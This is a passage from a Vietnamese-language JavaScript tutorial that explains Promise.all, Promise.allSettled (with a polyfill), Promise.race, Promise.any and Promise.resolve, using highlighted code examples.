<li>Ví dụ, nếu có nhiều lời gọi hàm <code>fetch</code> như trong ví dụ trên và một lời gọi hàm không thành công. Những cuộc gọi khác sẽ vẫn tiếp tục thực hiện, nhưng <code>Promise.all</code> sẽ không quan tâm đến chúng nữa.</li> <li>Các promise đó có thể vẫn thành công, nhưng kết quả của chúng đều bị bỏ qua.</li> <li><code>Promise.all</code> không làm gì để hủy bỏ các promise còn lại, vì không có khái niệm <strong>hủy bỏ</strong> trong promise.</li> </ul> </li> <li><code>Promise.all(iterable)</code> cho phép các giá trị không phải promise bên trong <strong>iterable object</strong>. <ul> <li>Thông thường, <code>Promise.all(...)</code> sẽ chấp nhận một iterable object là một mảng các promise. Nhưng nếu bất kỳ đối tượng nào trong đó không phải là promise thì giá trị của đối tượng đó sẽ được chuyển thẳng đến mảng kết quả ngay lập tức.</li> <li>Ví dụ sau đây có kết quả là <code>[1, 2, 3]</code>: <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token comment">// không phải promise -> giá trị chuyển thẳng đến mảng kết quả</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token comment">// không phải promise -> giá trị chuyển thẳng đến mảng kết quả</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1, 2, 3</span></code></pre></div> </li> </ul> </li> </ul> <h2 id="promiseallsettled" style="position:relative;"><a href="#promiseallsettled" aria-label="promiseallsettled permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Promise.allSettled</h2> <p><code>Promise.all</code> bị từ chối toàn bộ nếu bất kỳ promise nào bị từ chối. Điều đó tốt trong các trường hợp <strong>tất cả hoặc không có gì</strong>, khi bạn cần <strong>tất cả các kết quả thành công</strong> để tiếp tục:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/template.html"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/style.css"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/data.json"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>render<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// phương thức render cần tất cả các kết quả trên</span></code></pre></div> <p><code>Promise.allSettled</code> chỉ cần đợi cho tất cả các promise được giải quyết, bất kể kết quả là thành công hay lỗi. Mảng kết quả có hai trường hợp sau:</p> <ul> <li><code>{status:"fulfilled", value:result}</code> - để có phản hồi thành công,</li> <li><code>{status:"rejected", reason:error}</code> - cho các lỗi.</li> </ul> <p>Ví dụ, mình muốn lấy thông tin về nhiều người dùng. Ngay cả khi một request không thành công, mình vẫn quan tâm đến những request khác.</p> <p>Khi đó mình sẽ sử dụng <code>Promise.allSettled</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> urls <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string">"https://api.github.com/users/alex"</span><span class="token punctuation">,</span> <span class="token string">"https://api.github.com/users/anna"</span><span class="token punctuation">,</span> <span class="token string">"https://no-such-url"</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> Promise<span class="token punctuation">.</span><span class="token function">allSettled</span><span class="token punctuation">(</span>urls<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">url</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">fetch</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">results</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// (*)</span> results<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">result<span class="token punctuation">,</span> num</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>result<span class="token punctuation">.</span>status <span class="token operator">==</span> <span class="token string">"fulfilled"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>urls<span class="token punctuation">[</span>num<span class="token punctuation">]</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>result<span class="token punctuation">.</span>value<span class="token punctuation">.</span>status<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>result<span class="token punctuation">.</span>status <span class="token operator">==</span> <span class="token string">"rejected"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>urls<span class="token punctuation">[</span>num<span class="token punctuation">]</span><span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>result<span class="token punctuation">.</span>reason<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả <code>results</code> tại <code>(*)</code> trên sẽ có dạng là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">[</span> <span class="token punctuation">{</span><span class="token literal-property property">status</span><span class="token operator">:</span> <span class="token string">'fulfilled'</span><span class="token punctuation">,</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token operator">...</span>response<span class="token operator">...</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token literal-property property">status</span><span class="token operator">:</span> <span class="token string">'fulfilled'</span><span class="token punctuation">,</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token operator">...</span>response<span class="token operator">...</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span><span class="token literal-property property">status</span><span class="token operator">:</span> <span class="token string">'rejected'</span><span class="token punctuation">,</span> <span class="token literal-property property">reason</span><span class="token operator">:</span> <span class="token operator">...</span>error object<span class="token operator">...</span><span class="token punctuation">}</span> <span class="token punctuation">]</span></code></pre></div> <p>Vì vậy, đối với mỗi promise, mình nhận được trạng thái <code>status</code> và <code>value</code>/<code>error</code>.</p> <p><strong>Chú ý:</strong> phương thức <code>Promise.allSettled</code> mới có gần đây, nên chưa được hỗ trợ ở nhiều trình duyệt. Vì vậy, bạn có thể sử dụng <strong>polyfill</strong> cho phương thức này.</p> <h3 id="polyfill-cho-promiseallsettled" style="position:relative;"><a href="#polyfill-cho-promiseallsettled" aria-label="polyfill cho promiseallsettled permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Polyfill cho Promise.allSettled</h3> <p>Nếu trình duyệt không hỗ trợ <code>Promise.allSettled</code>, bạn có thể dùng <strong>polyfill</strong> sau để thay thế:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>Promise<span class="token punctuation">.</span>allSettled<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> <span class="token function-variable function">rejectHandler</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">reason</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">status</span><span class="token operator">:</span> <span class="token string">"rejected"</span><span class="token punctuation">,</span> reason <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token function-variable function">resolveHandler</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">status</span><span class="token operator">:</span> <span class="token string">"fulfilled"</span><span class="token punctuation">,</span> value <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> Promise<span class="token punctuation">.</span><span class="token function-variable function">allSettled</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">promises</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> convertedPromises <span class="token operator">=</span> promises<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">p</span><span class="token punctuation">)</span> <span class="token operator">=></span> Promise<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span>p<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>resolveHandler<span class="token punctuation">,</span> rejectHandler<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span>convertedPromises<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Trong đoạn code trên, <code>promises.map</code> nhận các giá trị đầu vào và biến chúng thành các promise với <code>p => Promise.resolve(p)</code>, và sau đó thêm <code>.then</code> cho mọi giá trị.</p> <p>Trình xử lý <code>.then</code> đó biến kết quả thành công <code>value</code> thành <code>{status:'fulfilled', value}</code> và lỗi <code>reason</code> thành <code>{status:'rejected', reason}</code>. Đó chính xác là định dạng của phương thức <code>Promise.allSettled</code>.</p> <p>Bây giờ, bạn có thể sử dụng <code>Promise.allSettled</code> để nhận được kết quả của <strong>tất cả các promise</strong> đã cho, ngay cả khi một trong số đó từ chối.</p> <h2 id="promiserace" style="position:relative;"><a href="#promiserace" aria-label="promiserace permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Promise.race</h2> <p>Tương tự như <code>Promise.all</code>, nhưng <code>Promise.race</code> chỉ đợi promise đã giải quyết đầu tiên và nhận được kết quả (hoặc lỗi) của promise đó.</p> <p>Cú pháp của <code>Promise.race</code> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> Promise<span class="token punctuation">.</span><span class="token function">race</span><span class="token punctuation">(</span>iterable<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ ở đây kết quả sẽ là <code>1</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Promise<span class="token punctuation">.</span><span class="token function">race</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">3000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Promise đầu tiên là nhanh nhất. Vì vậy, promise đó trở thành kết quả cuối cùng. Sau khi promise đầu tiên được giải quyết, tất cả các kết quả / lỗi khác đều được bỏ qua.</p> <h2 id="promiseany" style="position:relative;"><a href="#promiseany" aria-label="promiseany permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Promise.any</h2> <p>Tương tự như <code>Promise.race</code>, nhưng <code>Promise.any</code> chỉ đợi <strong>promise thành công đầu tiên</strong> được thực hiện và nhận được kết quả đó.</p> <p>Nếu tất cả các promise đã cho đều bị từ chối, thì promise trả về sẽ bị từ chối với <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AggregateError"><code>AggregateError</code></a> - một đối tượng lỗi đặc biệt lưu trữ tất cả các lỗi của promise trong thuộc tính <code>errors</code>.</p> <p>Cú pháp <code>Promise.any</code> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> Promise<span class="token punctuation">.</span><span class="token function">any</span><span class="token punctuation">(</span>iterable<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ ở đây kết quả sẽ là <code>1</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Promise<span class="token punctuation">.</span><span class="token function">any</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Whoops!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">3000</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Promise đầu tiên là nhanh nhất, nhưng promise đó đã bị từ chối. Vì vậy, promise thứ hai trở thành kết quả. Sau đó, tất cả các promise khác đều bị bỏ qua.</p> <p>Đây là ví dụ khi tất cả các promise đều thất bại:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Promise<span class="token punctuation">.</span><span class="token function">any</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Ouch!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">reject</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">"Error!"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">.</span>constructor<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// AggregateError</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">.</span>errors<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Error: Ouch!</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>error<span class="token punctuation">.</span>errors<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Error: Error!</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Như bạn thấy, các đối tượng lỗi cho những promise không thành công có sẵn trong thuộc tính <code>errors</code> của đối tượng <code>AggregateError</code>.</p> <h2 id="promiseresolve-và-promisereject" style="position:relative;"><a href="#promiseresolve-v%C3%A0-promisereject" aria-label="promiseresolve và promisereject permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Promise.resolve và Promise.reject</h2> <p>Các phương thức <code>Promise.resolve</code> và <code>Promise.reject</code> hiếm khi dùng trong JavaScript hiện đại, vì cú pháp <code>async/await</code> khiến chúng trở nên lỗi thời.</p> <p>Mình đề cập đến 2 phương này ở đây để hoàn thiện và cho những bạn không thể sử dụng <code>async/await</code> vì lý do nào đó.</p> <h3 id="promiseresolve" style="position:relative;"><a href="#promiseresolve" aria-label="promiseresolve permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Promise.resolve</h3> <p><code>Promise.resolve(value)</code> tạo ra một promise được giải quyết với kết quả <code>value</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Phương thức này được sử dụng để đảm bảo tính tương thích, khi một hàm mong đợi kết quả trả về là promise.</p> <p>Ví dụ: hàm <code>loadCached</code> bên dưới <code>fetch</code> một URL và ghi nhớ nội dung vào bộ nhớ đệm. Đối với các lời gọi hàm sau đó với cùng một URL, ngay lập tức trả về nội dung trước đó từ bộ nhớ cache, nhưng sử dụng <code>Promise.resolve</code> để tạo ra một promise. Vì vậy, giá trị trả về luôn là promise:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> cache <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">loadCached</span><span class="token punctuation">(</span><span class="token parameter">url</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>cache<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Promise<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span>cache<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token function">fetch</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">response</span><span class="token punctuation">)</span> <span class="token operator">=></span> response<span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">text</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> cache<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> text<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> text<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Bạn có thể viết <code>loadCached(url).then(…)</code>, vì hàm này được đảm bảo luôn trả về một promise. Do đó, bạn luôn có thể sử dụng <code>.then</code> sau <code>loadCached</code>. Đó là mục đích của <code>Promise.resolve</code> tại dòng <code>(*)</code>.</p> <h3 id="promisereject" style="position:relative;"><a href="#promisereject" aria-label="promisereject permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 